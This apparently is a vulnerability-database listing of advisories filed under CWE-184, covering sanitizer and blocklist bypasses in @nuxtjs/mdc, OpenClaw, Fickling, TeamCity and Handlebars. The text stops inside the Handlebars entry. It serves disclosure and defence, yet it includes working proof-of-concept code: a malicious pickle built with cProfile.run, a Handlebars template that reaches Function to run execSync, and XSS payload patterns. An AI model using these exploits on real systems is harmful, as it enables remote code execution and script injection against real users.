Common Weakness Enumeration

CWE-184

Allowed

Incomplete List of Disallowed Inputs

Abstraction: Base · Status: Draft

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

511 vulnerabilities reference this CWE, most recent first.

GHSA-MXM6-V9R6-R94C

Vulnerability from github – Published: 2026-09-16 22:14 – Updated: 2026-09-16 22:14
VLAI
Summary
@nuxtjs/mdc's URL sanitizer misses SVG xlink:href and data:text/html, allowing XSS from untrusted markdown at the default configuration
Details

Summary

@nuxtjs/mdc renders untrusted markdown (including raw HTML) to a Vue component tree. Across two prior advisories it added a URL/attribute sanitizer to block dangerous links in that HTML: validateProps / validateProp and an unsafeLinkPrefix deny-list (dist/runtime/parser/utils/props.js). The sanitizer runs at parse time (dist/runtime/parser/compiler.js) and parseMarkdown enables raw HTML by default (allowDangerousHtml: true, dist/runtime/parser/options.js), so the sanitizer is the only barrier and it applies with no configuration required.

Two sibling vectors bypass that sanitizer at the default configuration:

  1. SVG anchor xlink:href. validateProp only scheme-checks attributes named exactly href or src:

if (attribute === "href" || attribute === "src") return isAnchorLinkAllowed(value); return true;

An xlink:href (parsed to the hast property xLinkHref) is neither, so a javascript: URL on an SVG <a> is passed through. The renderer maps the property back to the real attribute (MDCRenderer.vue: find(html, "xLinkHref").attribute is xlink:href), so the output element is <a xlink:href="javascript:...">. Clicking it runs the script in the page origin. Plain <a href="javascript:..."> is correctly stripped, which is what makes this the un-patched sibling.

  1. <iframe src="data:text/html,...">. data:text/html is present in unsafeLinkPrefix, but the check compares it against url.protocol:

if (unsafeLinkPrefix.some((prefix) => url.protocol.toLowerCase().startsWith(prefix))) return false;

For any data URI url.protocol is just "data:", so "data:".startsWith("data:text/html") is always false. Every data:text/* entry in the deny-list is therefore dead code, and <iframe src="data:text/html,<script>...</script>"> is allowed (iframe is not in the render-time dangerousTags, which is only ["script","base"]). The framed document executes script in an opaque origin. For contrast, srcdoc and object are blocked, so this is a precise gap rather than a general absence of filtering.

Reproduction

I will attach the zip file for POC, you can simply extract and run ./poc.sh to install mdc and show the poc in the html file. nuxtjs-mdc-xss_poc.zip

Two zero-argument checks:

  1. sh poc/poc.sh installs @nuxtjs/mdc and runs parseMarkdown (the documented API) at default. It shows the parsed tree retains a { xLinkHref: "javascript:..." } and iframe { src: "data:text/html,..." }, while the control payloads href="javascript:..." and srcdoc=... are removed by the sanitizer. This isolates the sanitizer bypass deterministically.
  2. poc/poc.sh also serves poc/poc.html over http (data: iframes and javascript: links are restricted under the file:// origin, so http is used). Open the printed URL and click the blue SVG link. The page contains the exact DOM the renderer produces for those parsed nodes; clicking the SVG link executes script in the page origin (same-origin), and the data:text/html iframe executes on load. The page prints VULNERABLE for each that fires.

Both vectors were confirmed executing in a current Chromium build: the SVG xlink:href link runs script in the document origin on click, and the data:text/html iframe runs script on load.

Suggested fix

In validateProp, scheme-check xlink:href (and the hast xLinkHref) the same way as href/src. In isAnchorLinkAllowed, compare the dangerous MIME-typed entries against the full URL (or href), not against url.protocol, so data:text/html is actually matched; or add iframe to the render-time dangerous-tag set / restrict iframe src schemes.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nuxtjs/mdc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:14:01Z",
    "nvd_published_at": "2026-09-16T15:17:40Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`@nuxtjs/mdc` renders untrusted markdown (including raw HTML) to a Vue component tree. Across two prior advisories it added a URL/attribute sanitizer to block dangerous links in that HTML: `validateProps` / `validateProp` and an `unsafeLinkPrefix` deny-list (`dist/runtime/parser/utils/props.js`). The sanitizer runs at parse time (`dist/runtime/parser/compiler.js`) and `parseMarkdown` enables raw HTML by default (`allowDangerousHtml: true`, `dist/runtime/parser/options.js`), so the sanitizer is the only barrier and it applies with no configuration required.\n\nTwo sibling vectors bypass that sanitizer at the default configuration:\n\n1. SVG anchor `xlink:href`. `validateProp` only scheme-checks attributes named exactly `href` or `src`:\n\n   ```\n   if (attribute === \"href\" || attribute === \"src\") return isAnchorLinkAllowed(value);\n   return true;\n   ```\n\n   An `xlink:href` (parsed to the hast property `xLinkHref`) is neither, so a `javascript:` URL on an SVG `\u003ca\u003e` is passed through. The renderer maps the property back to the real attribute (`MDCRenderer.vue`: `find(html, \"xLinkHref\").attribute` is `xlink:href`), so the output element is `\u003ca xlink:href=\"javascript:...\"\u003e`. Clicking it runs the script in the page origin. Plain `\u003ca href=\"javascript:...\"\u003e` is correctly stripped, which is what makes this the un-patched sibling.\n\n2. `\u003ciframe src=\"data:text/html,...\"\u003e`. `data:text/html` is present in `unsafeLinkPrefix`, but the check compares it against `url.protocol`:\n\n   ```\n   if (unsafeLinkPrefix.some((prefix) =\u003e url.protocol.toLowerCase().startsWith(prefix))) return false;\n   ```\n\n   For any data URI `url.protocol` is just `\"data:\"`, so `\"data:\".startsWith(\"data:text/html\")` is always false. Every `data:text/*` entry in the deny-list is therefore dead code, and `\u003ciframe src=\"data:text/html,\u003cscript\u003e...\u003c/script\u003e\"\u003e` is allowed (iframe is not in the render-time `dangerousTags`, which is only `[\"script\",\"base\"]`). The framed document executes script in an opaque origin. For contrast, `srcdoc` and `object` are blocked, so this is a precise gap rather than a general absence of filtering.\n\n## Reproduction\n\nI will attach the zip file for POC, you can simply extract and run `./poc.sh` to install mdc and show the poc in the html file.\n[nuxtjs-mdc-xss_poc.zip](https://github.com/user-attachments/files/29175603/nuxtjs-mdc-xss_poc.zip)\n\nTwo zero-argument checks:\n\n1. `sh poc/poc.sh` installs `@nuxtjs/mdc` and runs `parseMarkdown` (the documented API) at default. It shows the parsed tree retains `a { xLinkHref: \"javascript:...\" }` and `iframe { src: \"data:text/html,...\" }`, while the control payloads `href=\"javascript:...\"` and `srcdoc=...` are removed by the sanitizer. This isolates the sanitizer bypass deterministically.\n2. `poc/poc.sh` also serves `poc/poc.html` over http (data: iframes and javascript: links are restricted under the file:// origin, so http is used). Open the printed URL and click the blue SVG link. The page contains the exact DOM the renderer produces for those parsed nodes; clicking the SVG link executes script in the page origin (same-origin), and the data:text/html iframe executes on load. The page prints VULNERABLE for each that fires.\n\nBoth vectors were confirmed executing in a current Chromium build: the SVG `xlink:href` link runs script in the document origin on click, and the data:text/html iframe runs script on load.\n\n## Suggested fix\n\nIn `validateProp`, scheme-check `xlink:href` (and the hast `xLinkHref`) the same way as `href`/`src`. In `isAnchorLinkAllowed`, compare the dangerous MIME-typed entries against the full URL (or `href`), not against `url.protocol`, so `data:text/html` is actually matched; or add `iframe` to the render-time dangerous-tag set / restrict iframe `src` schemes.",
  "id": "GHSA-mxm6-v9r6-r94c",
  "modified": "2026-09-16T22:14:01Z",
  "published": "2026-09-16T22:14:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-content/mdc/security/advisories/GHSA-mxm6-v9r6-r94c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63671"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-content/mdc/pull/491"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-content/mdc/commit/61d636c2983f021288e4fc5c4006733b38cf0d53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt-content/mdc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-content/mdc/releases/tag/v0.22.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nuxtjs/mdc\u0027s URL sanitizer misses SVG xlink:href and data:text/html, allowing XSS from untrusted markdown at the default configuration"
}

GHSA-P4WH-CR8M-GM6C

Vulnerability from github – Published: 2026-03-03 21:36 – Updated: 2026-06-08 23:24
VLAI
Summary
OpenClaw: shell-env trusted-prefix fallback allowed attacker-controlled binary execution via $SHELL
Details

Summary

shell-env fallback trusted prefix-based executable paths for $SHELL, allowing execution of attacker-controlled binaries in local/runtime-env influence scenarios.

Details

In affected versions, shell selection accepted either: 1. a shell listed in /etc/shells, or 2. any executable under hardcoded trusted prefixes (/bin, /usr/bin, /usr/local/bin, /opt/homebrew/bin, /run/current-system/sw/bin).

The selected shell was then executed as a login shell (-l -c 'env -0') for PATH/environment probing.

On systems where a trusted-prefix directory is writable (for example common Homebrew layouts under /opt/homebrew/bin) and runtime $SHELL can be influenced, this enabled attacker-controlled binary execution in OpenClaw process context.

The fix removes the trusted-prefix executable fallback and now trusts only shells explicitly registered in /etc/shells; otherwise it falls back to /bin/sh.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: >= 2026.2.22, <= 2026.2.22-2
  • Latest published vulnerable version: 2026.2.22-2
  • Patched versions (released): >= 2026.2.23

Fix Commit(s)

  • ff10fe8b91670044a6bb0cd85deb736a0ec8fb55

Release Process Note

This advisory sets patched_versions to the released version (2026.2.23). This advisory now reflects released fix version 2026.2.23.

OpenClaw thanks @tdjackey for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.2.22"
            },
            {
              "fixed": "2026.2.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:36:16Z",
    "nvd_published_at": "2026-03-18T02:16:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n`shell-env` fallback trusted prefix-based executable paths for `$SHELL`, allowing execution of attacker-controlled binaries in local/runtime-env influence scenarios.\n\n### Details\nIn affected versions, shell selection accepted either:\n1. a shell listed in `/etc/shells`, or\n2. any executable under hardcoded trusted prefixes (`/bin`, `/usr/bin`, `/usr/local/bin`, `/opt/homebrew/bin`, `/run/current-system/sw/bin`).\n\nThe selected shell was then executed as a login shell (`-l -c \u0027env -0\u0027`) for PATH/environment probing.\n\nOn systems where a trusted-prefix directory is writable (for example common Homebrew layouts under `/opt/homebrew/bin`) and runtime `$SHELL` can be influenced, this enabled attacker-controlled binary execution in OpenClaw process context.\n\nThe fix removes the trusted-prefix executable fallback and now trusts only shells explicitly registered in `/etc/shells`; otherwise it falls back to `/bin/sh`.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003e= 2026.2.22, \u003c= 2026.2.22-2`\n- Latest published vulnerable version: `2026.2.22-2`\n- Patched versions (released): `\u003e= 2026.2.23`\n\n### Fix Commit(s)\n- `ff10fe8b91670044a6bb0cd85deb736a0ec8fb55`\n\n### Release Process Note\nThis advisory sets `patched_versions` to the released version (`2026.2.23`).\nThis advisory now reflects released fix version `2026.2.23`.\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-p4wh-cr8m-gm6c",
  "modified": "2026-06-08T23:24:01Z",
  "published": "2026-03-03T21:36:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-p4wh-cr8m-gm6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/ff10fe8b91670044a6bb0cd85deb736a0ec8fb55"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-arbitrary-binary-execution-via-shell-environment-variable-trusted-prefix-fallback"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: shell-env trusted-prefix fallback allowed attacker-controlled binary execution via $SHELL"
}

GHSA-P523-JQ9W-64X9

Vulnerability from github – Published: 2026-01-09 21:04 – Updated: 2026-01-11 14:54
VLAI
Summary
Fickling Blocklist Bypass: cProfile.run()
Details

Fickling's assessment

cProfile was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43).

Original report

Description

Summary

Fickling versions up to and including 0.1.6 do not treat Python's cProfile module as unsafe. Because of this, a malicious pickle that uses cProfile.run() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The cProfile module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:

  • File: fickling/analysis.py
  • Class: UnsafeImports
  • Issue: The blocklist does not include cProfile, cProfile.run, or cProfile.runctx

Reference to similar fix:

  • PR #187 added pty to the blocklist to fix CVE-2025-67748
  • PR #108 documented the blocklist approach
  • The same fix pattern should be applied for cProfile

How the bypass works:

  1. Attacker creates a pickle using cProfile.run() in __reduce__
  2. cProfile.run() accepts a Python code string and executes it directly (C-accelerated version of profile.run)
  3. Fickling's UnsafeImports analysis does not flag cProfile as dangerous
  4. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
  5. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

Function Fickling Severity RCE Capable
os.system LIKELY_OVERTLY_MALICIOUS Yes
eval OVERTLY_MALICIOUS Yes
exec OVERTLY_MALICIOUS Yes
cProfile.run SUSPICIOUS Yes ← BYPASS
cProfile.runctx SUSPICIOUS Yes ← BYPASS

Suggested fix:

Add to the unsafe imports blocklist in fickling/analysis.py: - cProfile - cProfile.run - cProfile.runctx - _lsprof (underlying C module)

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Environment: - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle
import cProfile

class MaliciousPayload:
    def __reduce__(self):
        return (cProfile.run, ("print('CPROFILE_RCE_CONFIRMED')",))

with open("malicious.pkl", "wb") as f:
    pickle.dump(MaliciousPayload(), f)

Step 2: Analyze with fickling

from fickling.fickle import Pickled
from fickling.analysis import check_safety

with open('malicious.pkl', 'rb') as f:
    data = f.read()

pickled = Pickled.load(data)
result = check_safety(pickled)
print(f"Severity: {result.severity}")
print(f"Analysis: {result}")

Expected output (if properly detected):

Severity: Severity.OVERTLY_MALICIOUS

Actual output (bypass confirmed):

Severity: Severity.SUSPICIOUS
Analysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file

Step 3: Prove RCE by loading the pickle

python -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))"

Output

CPROFILE_RCE_CONFIRMED
         4 function calls in 0.000 seconds

   Ordered by: standard name

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
        1    0.000    0.000    0.000    0.000 <string>:1(<module>)
        1    0.000    0.000    0.000    0.000 {built-in method builtins.exec}
        1    0.000    0.000    0.000    0.000 {built-in method builtins.print}
        1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}

Check: The code executes, proving RCE.

Pickle disassembly (evidence):

    0: \x80 PROTO      5
    2: \x95 FRAME      58
   11: \x8c SHORT_BINUNICODE 'cProfile'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'run'
   27: \x94 MEMOIZE    (as 1)
   28: \x93 STACK_GLOBAL
   29: \x94 MEMOIZE    (as 2)
   30: \x8c SHORT_BINUNICODE "print('CPROFILE_RCE_CONFIRMED')"
   63: \x94 MEMOIZE    (as 3)
   64: \x85 TUPLE1
   65: \x94 MEMOIZE    (as 4)
   66: R    REDUCE
   67: \x94 MEMOIZE    (as 5)
   68: .    STOP
highest protocol among opcodes = 4

Impact

Vulnerability Type:

Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted:

Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes: - ML model validation pipelines - Model hosting platforms (Hugging Face, MLflow, etc.) - Security scanning tools that use fickling - CI/CD pipelines that validate pickle artifacts

Attack scenario:

An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Why cProfile.run() is dangerous:

Unlike runpy.run_path() which requires a file on disk, cProfile.run() takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that cProfile.run() takes "a single argument that can be passed to the exec() function".

cProfile is the C-accelerated version and is more commonly available than profile. It's also the recommended profiler per Python docs ("cProfile is recommended for most users"), so it's present in virtually all Python installations.

Severity: HIGH

  • The attacker achieves arbitrary code execution
  • The security control (fickling) is specifically designed to prevent this
  • The bypass requires no special conditions beyond crafting the pickle with cProfile
  • Attack is fully self-contained (no external files needed)
  • cProfile is more commonly used than profile, increasing attack surface
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22607"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-09T21:04:22Z",
    "nvd_published_at": "2026-01-10T02:15:49Z",
    "severity": "HIGH"
  },
  "details": "# Fickling\u0027s assessment\n\n`cProfile` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43).\n\n# Original report\n\n## Description\n\n### Summary\n\nFickling versions up to and including 0.1.6 do not treat Python\u0027s `cProfile` module as unsafe. Because of this, a malicious pickle that uses `cProfile.run()` is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.\n\nIf a user relies on Fickling\u0027s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.\n\nThis affects any workflow or product that uses Fickling as a security gate for pickle deserialization.\n\n### Details\n\nThe `cProfile` module is missing from fickling\u0027s block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).\n\nIncriminated source code:\n\n- File: `fickling/analysis.py`\n- Class: `UnsafeImports`\n- Issue: The blocklist does not include `cProfile`, `cProfile.run`, or `cProfile.runctx`\n\nReference to similar fix:\n\n- PR #187 added `pty` to the blocklist to fix CVE-2025-67748\n- PR #108 documented the blocklist approach\n- The same fix pattern should be applied for `cProfile`\n\nHow the bypass works:\n\n1. Attacker creates a pickle using `cProfile.run()` in `__reduce__`\n2. `cProfile.run()` accepts a Python code string and executes it directly (C-accelerated version of profile.run)\n3. Fickling\u0027s `UnsafeImports` analysis does not flag `cProfile` as dangerous\n4. Only the `UnusedVariables` heuristic triggers, resulting in SUSPICIOUS severity\n5. The pickle should be rated OVERTLY_MALICIOUS like `os.system`, `eval`, and `exec`\n\nTested behavior (fickling 0.1.6):\n\n| Function | Fickling Severity | RCE Capable |\n|----------|-------------------|-------------|\n| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |\n| eval | OVERTLY_MALICIOUS | Yes |\n| exec | OVERTLY_MALICIOUS | Yes |\n| cProfile.run | SUSPICIOUS | Yes \u2190 BYPASS |\n| cProfile.runctx | SUSPICIOUS | Yes \u2190 BYPASS |\n\nSuggested fix:\n\nAdd to the unsafe imports blocklist in `fickling/analysis.py`:\n- `cProfile`\n- `cProfile.run`\n- `cProfile.runctx`\n- `_lsprof` (underlying C module)\n\n## PoC\n\nComplete instructions, including specific configuration details, to reproduce the vulnerability.\n\nEnvironment:\n- Python 3.13.2\n- fickling 0.1.6 (latest version, installed via pip)\n\n### Step 1: Create malicious pickle\n\n```python\nimport pickle\nimport cProfile\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (cProfile.run, (\"print(\u0027CPROFILE_RCE_CONFIRMED\u0027)\",))\n\nwith open(\"malicious.pkl\", \"wb\") as f:\n    pickle.dump(MaliciousPayload(), f)\n```\n\n### Step 2: Analyze with fickling\n\n```python\nfrom fickling.fickle import Pickled\nfrom fickling.analysis import check_safety\n\nwith open(\u0027malicious.pkl\u0027, \u0027rb\u0027) as f:\n    data = f.read()\n\npickled = Pickled.load(data)\nresult = check_safety(pickled)\nprint(f\"Severity: {result.severity}\")\nprint(f\"Analysis: {result}\")\n```\n\nExpected output (if properly detected):\n```\nSeverity: Severity.OVERTLY_MALICIOUS\n```\n\nActual output (bypass confirmed):\n```\nSeverity: Severity.SUSPICIOUS\nAnalysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file\n```\n\n### Step 3: Prove RCE by loading the pickle\n\n```bash\npython -c \"import pickle; pickle.load(open(\u0027malicious.pkl\u0027, \u0027rb\u0027))\"\n```\n\nOutput\n```\nCPROFILE_RCE_CONFIRMED\n         4 function calls in 0.000 seconds\n\n   Ordered by: standard name\n\n   ncalls  tottime  percall  cumtime  percall filename:lineno(function)\n        1    0.000    0.000    0.000    0.000 \u003cstring\u003e:1(\u003cmodule\u003e)\n        1    0.000    0.000    0.000    0.000 {built-in method builtins.exec}\n        1    0.000    0.000    0.000    0.000 {built-in method builtins.print}\n        1    0.000    0.000    0.000    0.000 {method \u0027disable\u0027 of \u0027_lsprof.Profiler\u0027 objects}\n```\n\nCheck: The code executes, proving RCE.\n\n### Pickle disassembly (evidence):\n\n```\n    0: \\x80 PROTO      5\n    2: \\x95 FRAME      58\n   11: \\x8c SHORT_BINUNICODE \u0027cProfile\u0027\n   21: \\x94 MEMOIZE    (as 0)\n   22: \\x8c SHORT_BINUNICODE \u0027run\u0027\n   27: \\x94 MEMOIZE    (as 1)\n   28: \\x93 STACK_GLOBAL\n   29: \\x94 MEMOIZE    (as 2)\n   30: \\x8c SHORT_BINUNICODE \"print(\u0027CPROFILE_RCE_CONFIRMED\u0027)\"\n   63: \\x94 MEMOIZE    (as 3)\n   64: \\x85 TUPLE1\n   65: \\x94 MEMOIZE    (as 4)\n   66: R    REDUCE\n   67: \\x94 MEMOIZE    (as 5)\n   68: .    STOP\nhighest protocol among opcodes = 4\n```\n\n## Impact\n\nVulnerability Type:\n\nIncomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).\n\nWho is impacted:\n\nAny user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:\n- ML model validation pipelines\n- Model hosting platforms (Hugging Face, MLflow, etc.)\n- Security scanning tools that use fickling\n- CI/CD pipelines that validate pickle artifacts\n\nAttack scenario:\n\nAn attacker uploads a malicious ML model or pickle file to a model repository. The victim\u0027s pipeline uses fickling to scan uploads. Fickling rates the file as \"SUSPICIOUS\" (not \"OVERTLY_MALICIOUS\"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.\n\nWhy cProfile.run() is dangerous:\n\nUnlike `runpy.run_path()` which requires a file on disk, `cProfile.run()` takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that `cProfile.run()` takes \"a single argument that can be passed to the exec() function\".\n\n`cProfile` is the C-accelerated version and is more commonly available than `profile`. It\u0027s also the recommended profiler per Python docs (\"cProfile is recommended for most users\"), so it\u0027s present in virtually all Python installations.\n\nSeverity: HIGH\n\n- The attacker achieves arbitrary code execution\n- The security control (fickling) is specifically designed to prevent this\n- The bypass requires no special conditions beyond crafting the pickle with cProfile\n- Attack is fully self-contained (no external files needed)\n- cProfile is more commonly used than profile, increasing attack surface",
  "id": "GHSA-p523-jq9w-64x9",
  "modified": "2026-01-11T14:54:55Z",
  "published": "2026-01-09T21:04:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-p523-jq9w-64x9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22607"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/195"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling Blocklist Bypass: cProfile.run()"
}

GHSA-P8V4-6CFG-7HH7

Vulnerability from github – Published: 2026-10-06 18:31 – Updated: 2026-10-06 18:31
VLAI
Details

In JetBrains TeamCity before 2026.1.3 2025.11.7 kotlin DSL sandbox escape leading to RCE on the server was possible

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-106218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-06T17:17:24Z",
    "severity": "HIGH"
  },
  "details": "In JetBrains TeamCity before 2026.1.3\n2025.11.7 kotlin DSL sandbox escape leading to RCE on the server was possible",
  "id": "GHSA-p8v4-6cfg-7hh7",
  "modified": "2026-10-06T18:31:34Z",
  "published": "2026-10-06T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106218"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P8WG-VRV2-V86F

Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-12 14:33
VLAI
Summary
Handlebars: JavaScript Injection via Own Property Check Bypass
Details

Summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

lookupProperty trusts own properties:

if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
  return result;
}

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

Proof of Concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

  1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
  2. Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
  3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
    // construct code array from template string literal
    '{{#with a}}' +
      '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
      '{{lookup "" (pop)}}' +
      '{{lookup "" (shift)}}' +
    '{{/with}}' +

    // access Function via own property bypass on Function.prototype.constructor
    '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +

    // #each sets depth0=Function without calling it, apply avoids hash body
    '{{#each @root}}{{#if @index}}{{else}}' +
      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
    '{{/if}}{{/each}}'
);

const result = template(
    { fn: function(){}, a: [0] },
    { allowProtoMethodsByDefault: true }
);

console.log(result.trim());

